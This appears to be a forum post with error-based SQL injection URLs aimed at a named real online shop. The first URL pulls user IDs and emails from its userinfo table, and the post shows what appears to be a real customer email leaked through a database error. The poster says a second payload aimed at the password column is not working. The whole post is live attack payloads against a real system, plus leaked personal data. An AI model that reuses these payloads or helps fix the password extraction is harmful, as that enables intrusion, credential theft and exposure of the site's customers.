http://www.eluxbag.com/product.php?page=1&ordertype=3&keyword=&type=produ cts&Categories=&perpagenum=32&id=434%20or%20(1,23) =(select+1+from+(select+count(0),concat((select+co ncat(ID,Email)+from+userinfo+limit+0,1),floor(rand (0)*2))+from+information_schema.tables+group+by+2) a)--

-->

Duplicate entry '1800qqguy85@yahoo.com1' for key 1

but this is not working!

http://www.eluxbag.com/product.php?page=1&ordertype=3&keyword=&type=produ cts&Categories=&perpagenum=32&id=434 or (1,23)=(select+1+from+(select+count(0),concat((sel ect+concat(Password)+from+userinfo+limit+0,1),floo r(rand(0)*2))+from+information_schema.tables+group +by+2)a)--